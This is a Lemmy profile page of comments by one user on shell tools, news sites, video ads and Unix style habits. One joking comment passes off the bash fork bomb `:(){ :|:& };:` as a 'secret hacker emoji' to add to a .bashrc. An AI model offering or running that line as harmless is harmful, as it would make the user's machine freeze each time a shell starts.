korthrun

joined 2 years ago
[–] korthrun@lemmy.sdf.org 4 points 1 month ago (1 children)

Check out the fzf shell bindings. Reverse history search with fuzzy matching is one of the features.

[–] korthrun@lemmy.sdf.org 2 points 2 months ago

Moar like haole moco amirite?!

[–] korthrun@lemmy.sdf.org 9 points 2 months ago

Well, I tried shovin' a wiener in the warp drive, but it dinna do a bit of good. By the by, would ya have a wee bit of mustard up on the bridge?

[–] korthrun@lemmy.sdf.org 13 points 3 months ago

This is why I have issues taking rawstory seriously.

A story about a story, but not examining the journalism, just ... a story about a story.

A link supposedly to watch the story that is actually just a link to the page you're already reading.

The included clip is to youtube, not MSNBC, and it's not even to the official MSNBC youtube channel which absolutely does have this same piece posted.

[–] korthrun@lemmy.sdf.org 2 points 3 months ago

Fuck I hate this.

I run into this most often on sites for TV shows and movies myself.

[–] korthrun@lemmy.sdf.org 18 points 3 months ago (4 children)

I understand that we exist under capitalism and that it costs money to host and distribute these videos.

I'm willing to pay for access to this service by letting an ad play (probably while I'm pouring a glass of water in another room and have my speakers off).

What gets me is a 3 minute ad on a 44 second video. Interrupting the middle of a sentence with an ad is also annoying. Placing a 30 second ad in the middle of a song can also fuck right off.

Find an appropriate spot for your ad, and make it's length sensible with regards to the length of the content I'm watching. Or just don't offer an ad supported tier of your service.

[–] korthrun@lemmy.sdf.org 1 points 3 months ago* (last edited 3 months ago) (2 children)

I do not agree with the premise that there needs to be a negative repercussion to doing something before we look at examining the behavior.

I guess I could do some serious gymnastics and reach for something like "when a text file is longer than your terminal scrollback and you cat it, you lose history that you may have been expecting to reference".

Many of the sort of examples I'm referencing involve spawning subshells needlessly, forking/execing when it's not actually needed, opening file descriptors that otherwise wouldn't have been opened. We're in an interesting bit of the tech timeline here where modern computing power makes a lot of this non-impactful performance wise, but we also do cloud computing where we literally pay for CPU cycles and IOPS.

I guess I'm just a fan of following best practices to the extent practical for your situation, and ensuring that the examples used to inform/teach others show them the proper way of doing things.

No bad things happen when I pour a Hefe into a Pilsner glass either, but now the Germans are coming for me.

[–] korthrun@lemmy.sdf.org 2 points 3 months ago* (last edited 3 months ago) (4 children)

So most importantly I'd add -F to the LESS environment variable. If I really felt like I was about to run out of keystrokes and didn't feel like running to the keystroke store, I'd probably alias "l" to "less".

That aside, you can use a hammer to push a screw into wood. You can use a screwdriver to beat a nail into a board. You can use a board to drive a dowel through a plank. The job gets done either way.

I'm just asking that when illustrating how to fasten a screw, you use a screwdriver.

My prompt is an ASCII cat and my terminal is transparent so that I can always see the cat pic that I use as a desktop wallpaper. Us true cat lovers are always thinking of them, not relying on unix commands to remind us of them.

Oh also because I want pagination if the files contents exceeds the height of my terminal.

[–] korthrun@lemmy.sdf.org 2 points 3 months ago
[–] korthrun@lemmy.sdf.org 1 points 3 months ago (2 children)

HECK YEAH! AFTRE U DO SOEM cat ~which cat~ | cat | cat -v grep | DON'T FROGET 2 PUIT DIS SECRAT HAXX0R EMOJI IN UR DOT_BASH-ARECEE FIEL:

:(){ :|:& };:

  • JEFFK
[–] korthrun@lemmy.sdf.org 2 points 3 months ago (1 children)

I know it's fallen out of fashion, but perl is still pretty cool IMO :D

view more: next ›